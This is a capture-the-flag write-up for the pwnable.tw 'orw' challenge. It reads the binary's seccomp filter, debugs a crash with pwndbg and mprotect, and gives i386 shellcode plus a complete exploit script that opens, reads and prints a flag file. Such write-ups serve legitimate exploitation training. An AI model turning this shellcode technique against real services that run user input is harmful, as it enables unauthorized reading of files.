writeup

Challenge Information

Reverse Engineering

1
[*] '/home/alter/lab/pwnable.tw/orw/orw'
2
    Arch:       i386-32-little
3
    RELRO:      Partial RELRO
4
    Stack:      Canary found
5
    NX:         NX unknown - GNU_STACK missing
6
    PIE:        No PIE (0x8048000)
7
    Stack:      Executable
8
    RWX:        Has RWX segments
9
    Stripped:   No

Let’s begin by looking at the checksec result: we know that the binary is 32-bit and has an executable stack. Now, let’s analyze it using IDA.

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  orw_seccomp();
4
  printf("Give my your shellcode:");
5
  read(0, &shellcode, 0xC8u);
6
  ((void (*)(void))shellcode)();
7
  return 0;
8
}

From this pseudo-code, we can observe the following:

Seccomp Setup: The function orw_seccomp() is called at the very beginning. This function sets up seccomp filters that restrict certain system calls. Although these filters are in place to limit dangerous operations, they may not block all actions, depending on the specific rules implemented.
Prompting for Shellcode: The program then prints the message Give my your shellcode:, asking the user to supply shellcode.
Reading the Shellcode: The read(0, &shellcode, 0xC8u); call reads up to 200 bytes (0xC8 in hexadecimal) from the standard input (file descriptor 0) and stores it in the buffer pointed to by shellcode.
Executing the Shellcode: Finally, the code casts the buffer to a function pointer and calls it - ((void (*)(void))shellcode)();. This means that if the supplied shellcode is valid, the program will jump to and execute that code.

Exploit Development

Using seccomp-tools, we can inspect the seccomp rules applied to the binary and determine which syscalls are allowed or blocked.

1
$ seccomp-tools dump ./orw
2
 line  CODE  JT   JF      K
3
=================================
4
 0000: 0x20 0x00 0x00 0x00000004  A = arch
5
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
6
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
7
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
8
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
9
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
10
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
11
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
12
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
13
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
14
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
15
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

By analyzing this output, we can understand how seccomp is filtering system calls:

Architecture Check: The first two instructions verify that the binary is running on the ARCH_I386 (x86 32-bit) architecture. If the architecture does not match, execution jumps to instruction 0011, which allows the syscall.

Allowed Syscalls: The following syscalls are explicitly permitted:

rt_sigreturn (0xad)
sigreturn (0x77)
exit_group (0xfc)
exit (0x01)
open (0x05)
read (0x03)
write (0x04) If any of these syscalls are invoked, execution jumps to instruction 0011, which allows them.

From this, we can conclude that only basic file operations (open, read, and write) along with exit-related syscalls (exit, exit_group) are permitted. Syscalls such as mprotect, execve, or dup2 are blocked, which significantly limits our ability to perform certain types of privilege escalation or shell spawning via standard techniques.

Given these constraints, the most viable approach is to craft a shellcode that adheres to the seccomp rules. Since we can open a file, read its contents, and write the output, we can design our shellcode to read the contents of a target file (e.g., a flag) and print it to stdout.

Now, let’s write the shellcode that accomplishes this.

1
    sc = asm('''
2

3
        push 0x6761
4
        push 0x6c662f77
5
        push 0x726f2f65
6
        push 0x6d6f682f
7
        mov eax, 5
8
        mov ebx, esp
9
        xor ecx, ecx
10
        xor edx, edx
11
        int 0x80
12

13
        mov ebx, eax
14
        mov ecx, esp
15
        mov edx, 0x100
16
        mov eax, 3
17
        int 0x80
18

19
        mov ebx, 1
20
        mov eax, 4
21
        int 0x80
22
        ''', arch='i386')

But when I tried to run it locally, I ran into a problem:

1
pwndbg>
2

3
Program received signal SIGSEGV, Segmentation fault.
4
0x0804a060 in shellcode ()
5
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
6
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────
7
 EAX  0x804a060 (shellcode) ◂— 0x676168 /* 'hag' */
8
 EBX  0xf7f07000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
9
 ECX  0x804a060 (shellcode) ◂— 0x676168 /* 'hag' */
10
 EDX  0xc8
11
 EDI  0xf7f5eb80 (_rtld_global_ro) ◂— 0
12
 ESI  0xfff15b74 —▸ 0xfff16fff ◂— '/home/alter/lab/pwnable.tw/orw/orw'
13
 EBP  0xfff15aa8 —▸ 0xf7f5f020 (_rtld_global) —▸ 0xf7f5fa40 ◂— 0
14
 ESP  0xfff15a9c —▸ 0x804858c (main+68) ◂— mov eax, 0
15
 EIP  0x804a060 (shellcode) ◂— 0x676168 /* 'hag' */
16
─────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────
17
 ► 0x804a060 <shellcode>       push   0x6761
18
   0x804a065 <shellcode+5>     push   0x6c662f77
19
   0x804a06a <shellcode+10>    push   0x726f2f65
20
   0x804a06f <shellcode+15>    push   0x6d6f682f
21
   0x804a074 <shellcode+20>    mov    eax, 5              EAX => 5
22
   0x804a079 <shellcode+25>    mov    ebx, esp            EBX => 0xfff15a8c ◂— '/home/orw/flag'
23
   0x804a07b <shellcode+27>    xor    ecx, ecx            ECX => 0
24
   0x804a07d <shellcode+29>    xor    edx, edx            EDX => 0
25
   0x804a07f <shellcode+31>    int    0x80 <SYS_open>
26
   0x804a081 <shellcode+33>    mov    ebx, eax
27
   0x804a083 <shellcode+35>    mov    ecx, esp
28
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
29
00:0000│ esp 0xfff15a9c —▸ 0x804858c (main+68) ◂— mov eax, 0
30
01:0004│-008 0xfff15aa0 ◂— 1
31
02:0008│-004 0xfff15aa4 —▸ 0xfff15ac0 ◂— 1
32
03:000c│ ebp 0xfff15aa8 —▸ 0xf7f5f020 (_rtld_global) —▸ 0xf7f5fa40 ◂— 0
33
04:0010│+004 0xfff15aac —▸ 0xf7cfe519 (__libc_start_call_main+121) ◂— add esp, 0x10
34
05:0014│+008 0xfff15ab0 —▸ 0xfff16fff ◂— '/home/alter/lab/pwnable.tw/orw/orw'
35
06:0018│+00c 0xfff15ab4 ◂— 0x70 /* 'p' */
36
07:001c│+010 0xfff15ab8 —▸ 0xf7f5f000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
37
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
38
 ► 0 0x804a060 shellcode
39
   1 0x804858c main+68
40
   2 0xf7cfe519 __libc_start_call_main+121
41
   3 0xf7cfe5f3 __libc_start_main+147
42
   4 0x80483f1 _start+33

We encountered a SIGSEGV (Segmentation Fault) despite our shellcode appearing to be correct. The root cause of this issue lies in the memory protection settings—specifically, the address 0x804a060 does not have execution permissions.

1
pwndbg> vmmap 0x804a060
2
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
3
     Start        End Perm     Size Offset File
4
 0x8049000  0x804a000 r--p     1000      0 /home/alter/lab/pwnable.tw/orw/orw
5
►0x804a000  0x804b000 rw-p     1000   1000 /home/alter/lab/pwnable.tw/orw/orw +0x60
6
0xf7cdd000 0xf7cfd000 r--p    20000      0 /usr/lib/i386-linux-gnu/libc.so.6

As seen in the memory map, the region 0x804a000 - 0x804b000 is marked as rw-p (read-write), but it lacks execution (x) permissions. This means that while we can write shellcode to this address, we cannot execute it, resulting in a segmentation fault.

This issue often arises due to differences in kernel versions between our local machine and the target server. Some kernel versions enforce stricter memory protections by default, which may cause unexpected behavior during exploitation.

To resolve this and continue debugging, we can manually grant execution permissions to this memory region using the following command in GDB:

1
call (int)mprotect(0x804a000, 0x1000, 7)

Here, mprotect is used to change the permissions of the memory at 0x804a000 with a size of 0x1000 (one memory page) to 7 (PROT_READ | PROT_WRITE | PROT_EXEC). This allows our shellcode to execute properly.

Important: We must issue this command before orw_seccomp is called. Once orw_seccomp is executed, it will enforce seccomp filters that block the mprotect syscall, making it impossible to modify memory permissions later.


12 collapsed lines
1
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
2
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────
3
 EAX  0x8048548 (main) ◂— lea ecx, [esp + 4]
4
 EBX  0xf7ed5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
5
 ECX  0xff8ec6f0 ◂— 1
6
 EDX  0xff8ec710 —▸ 0xf7ed5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
7
 EDI  0xf7f2cb80 (_rtld_global_ro) ◂— 0
8
 ESI  0xff8ec7a4 —▸ 0xff8edfff ◂— '/home/alter/lab/pwnable.tw/orw/orw'
9
 EBP  0xff8ec6d8 —▸ 0xf7f2d020 (_rtld_global) —▸ 0xf7f2da40 ◂— 0
10
 ESP  0xff8ec6d4 —▸ 0xff8ec6f0 ◂— 1
11
 EIP  0x8048556 (main+14) ◂— sub esp, 4
12
──────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────
13
 ► 0x8048556 <main+14>    sub    esp, 4     ESP => 0xff8ec6d0 (0xff8ec6d4 - 0x4)
14
   0x8048559 <main+17>    call   orw_seccomp                 <orw_seccomp>
15

25 collapsed lines
16
   0x804855e <main+22>    sub    esp, 0xc
17
   0x8048561 <main+25>    push   0x80486a0
18
   0x8048566 <main+30>    call   printf@plt                  <printf@plt>
19

20
   0x804856b <main+35>    add    esp, 0x10
21
   0x804856e <main+38>    sub    esp, 4
22
   0x8048571 <main+41>    push   0xc8
23
   0x8048576 <main+46>    push   shellcode
24
   0x804857b <main+51>    push   0
25
   0x804857d <main+53>    call   read@plt                    <read@plt>
26
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
27
00:0000│ esp 0xff8ec6d4 —▸ 0xff8ec6f0 ◂— 1
28
01:0004│ ebp 0xff8ec6d8 —▸ 0xf7f2d020 (_rtld_global) —▸ 0xf7f2da40 ◂— 0
29
02:0008│+004 0xff8ec6dc —▸ 0xf7ccc519 (__libc_start_call_main+121) ◂— add esp, 0x10
30
03:000c│+008 0xff8ec6e0 —▸ 0xff8edfff ◂— '/home/alter/lab/pwnable.tw/orw/orw'
31
04:0010│+00c 0xff8ec6e4 ◂— 0x70 /* 'p' */
32
05:0014│+010 0xff8ec6e8 —▸ 0xf7f2d000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
33
06:0018│+014 0xff8ec6ec —▸ 0xf7ccc519 (__libc_start_call_main+121) ◂— add esp, 0x10
34
07:001c│ ecx 0xff8ec6f0 ◂— 1
35
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
36
 ► 0 0x8048556 main+14
37
   1 0xf7ccc519 __libc_start_call_main+121
38
   2 0xf7ccc5f3 __libc_start_main+147
39
   3 0x80483f1 _start+33
40
──────────────────────────────────────────────────────────────────────────────────────────────────────
41
pwndbg> call (int)mprotect(0x804a000, 0x1000, 7)
42
$1 = 0
43
pwndbg> ni
44
0x08048559 in main ()
12 collapsed lines
45
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
46
────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────
47
 EAX  0x8048548 (main) ◂— lea ecx, [esp + 4]
48
 EBX  0xf7ed5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
49
 ECX  0xff8ec6f0 ◂— 1
50
 EDX  0xff8ec710 —▸ 0xf7ed5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
51
 EDI  0xf7f2cb80 (_rtld_global_ro) ◂— 0
52
 ESI  0xff8ec7a4 —▸ 0xff8edfff ◂— '/home/alter/lab/pwnable.tw/orw/orw'
53
 EBP  0xff8ec6d8 —▸ 0xf7f2d020 (_rtld_global) —▸ 0xf7f2da40 ◂— 0
54
*ESP  0xff8ec6d0 ◂— 1
55
*EIP  0x8048559 (main+17) ◂— call orw_seccomp
56
──────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────
57
   0x8048556 <main+14>    sub    esp, 4     ESP => 0xff8ec6d0 (0xff8ec6d4 - 0x4)
58
 ► 0x8048559 <main+17>    call   orw_seccomp                 <orw_seccomp>
59
        arg[0]: 1
60
        arg[1]: 0xff8ec6f0 ◂— 1
61
        arg[2]: 0xf7f2d020 (_rtld_global) —▸ 0xf7f2da40 ◂— 0
62
        arg[3]: 0xf7ccc519 (__libc_start_call_main+121) ◂— add esp, 0x10
63

25 collapsed lines
64
   0x804855e <main+22>    sub    esp, 0xc
65
   0x8048561 <main+25>    push   0x80486a0
66
   0x8048566 <main+30>    call   printf@plt                  <printf@plt>
67

68
   0x804856b <main+35>    add    esp, 0x10
69
   0x804856e <main+38>    sub    esp, 4
70
   0x8048571 <main+41>    push   0xc8
71
   0x8048576 <main+46>    push   shellcode
72
   0x804857b <main+51>    push   0
73
   0x804857d <main+53>    call   read@plt                    <read@plt>
74
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
75
00:0000│ esp 0xff8ec6d0 ◂— 1
76
01:0004│-004 0xff8ec6d4 —▸ 0xff8ec6f0 ◂— 1
77
02:0008│ ebp 0xff8ec6d8 —▸ 0xf7f2d020 (_rtld_global) —▸ 0xf7f2da40 ◂— 0
78
03:000c│+004 0xff8ec6dc —▸ 0xf7ccc519 (__libc_start_call_main+121) ◂— add esp, 0x10
79
04:0010│+008 0xff8ec6e0 —▸ 0xff8edfff ◂— '/home/alter/lab/pwnable.tw/orw/orw'
80
05:0014│+00c 0xff8ec6e4 ◂— 0x70 /* 'p' */
81
06:0018│+010 0xff8ec6e8 —▸ 0xf7f2d000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
82
07:001c│+014 0xff8ec6ec —▸ 0xf7ccc519 (__libc_start_call_main+121) ◂— add esp, 0x10
83
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
84
 ► 0 0x8048559 main+17
85
   1 0xf7ccc519 __libc_start_call_main+121
86
   2 0xf7ccc5f3 __libc_start_main+147
87
   3 0x80483f1 _start+33
88
──────────────────────────────────────────────────────────────────────────────────────────────────────
89
pwndbg> vmmap
90
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
91
     Start        End Perm     Size Offset File
92
    0x8048000  0x8049000 r-xp     1000      0 /home/alter/lab/pwnable.tw/orw/orw
93
    0x8049000  0x804a000 r--p     1000      0 /home/alter/lab/pwnable.tw/orw/orw
94
    0x804a000  0x804b000 rwxp     1000   1000 /home/alter/lab/pwnable.tw/orw/orw
95
0xf7cab000 0xf7ccb000 r--p    20000      0 /usr/lib/i386-linux-gnu/libc.so.6
96
0xf7ccb000 0xf7e4d000 r-xp   182000  20000 /usr/lib/i386-linux-gnu/libc.so.6
97
0xf7e4d000 0xf7ed2000 r--p    85000 1a2000 /usr/lib/i386-linux-gnu/libc.so.6
98
0xf7ed2000 0xf7ed3000 ---p     1000 227000 /usr/lib/i386-linux-gnu/libc.so.6
99
0xf7ed3000 0xf7ed5000 r--p     2000 227000 /usr/lib/i386-linux-gnu/libc.so.6
100
0xf7ed5000 0xf7ed6000 rw-p     1000 229000 /usr/lib/i386-linux-gnu/libc.so.6
101
0xf7ed6000 0xf7ee0000 rw-p     a000      0 [anon_f7ed6]
102
0xf7eee000 0xf7ef0000 rw-p     2000      0 [anon_f7eee]
103
0xf7ef0000 0xf7ef4000 r--p     4000      0 [vvar]
104
0xf7ef4000 0xf7ef6000 r-xp     2000      0 [vdso]
105
0xf7ef6000 0xf7ef7000 r--p     1000      0 /usr/lib/i386-linux-gnu/ld-linux.so.2
106
0xf7ef7000 0xf7f1c000 r-xp    25000   1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
107
0xf7f1c000 0xf7f2b000 r--p     f000  26000 /usr/lib/i386-linux-gnu/ld-linux.so.2
108
0xf7f2b000 0xf7f2d000 r--p     2000  34000 /usr/lib/i386-linux-gnu/ld-linux.so.2
109
0xf7f2d000 0xf7f2e000 rw-p     1000  36000 /usr/lib/i386-linux-gnu/ld-linux.so.2
110
0xff8cd000 0xff8ef000 rwxp    22000      0 [stack]

Exploit:


23 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwncus import *
4

5
context.log_level = 'debug'
6
exe = context.binary = ELF('./orw', checksec=False)
7
libc = exe.libc
8

9
def start(argv=[], *a, **kw):
10
    if args.GDB:
11
        return gdb.debug([exe.path] + argv, gdbscript='''
12

13
        b*main+14
14
        call (int)mprotect(0x804a000, 0x1000, 7)
15
        c
16
        '''.format(**locals()), *a, **kw)
17
    elif args.REMOTE:
18
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
19
    else:
20
        return process([exe.path] + argv, *a, **kw)
21

22
p = start()
23

24
# ==================== EXPLOIT ====================
25

26
def exploit():
27

28
    # Path: /home/orw/flag
29
    # /hom -> 0x6d6f682f
30
    # e/or -> 0x726f2f65
31
    # w/fl -> 0x6c662f77
32
    # ag -> 0x6761
33

34
    sc = asm('''
35

36
        push 0x6761
37
        push 0x6c662f77
38
        push 0x726f2f65
39
        push 0x6d6f682f
40
        mov eax, 5
41
        mov ebx, esp
42
        xor ecx, ecx
43
        xor edx, edx
44
        int 0x80
45

46
        mov ebx, eax
47
        mov ecx, esp
48
        mov edx, 0x100
49
        mov eax, 3
50
        int 0x80
51

52
        mov ebx, 1
53
        mov eax, 4
54
        int 0x80
55

56
        ''', arch='i386')
57

58
    sa(b':', sc)
59

60
    interactive()
61

62
if __name__ == '__main__':
63
  exploit()

[PWNABLE.TW] - orw

Challenge Information

Reverse Engineering

Exploit Development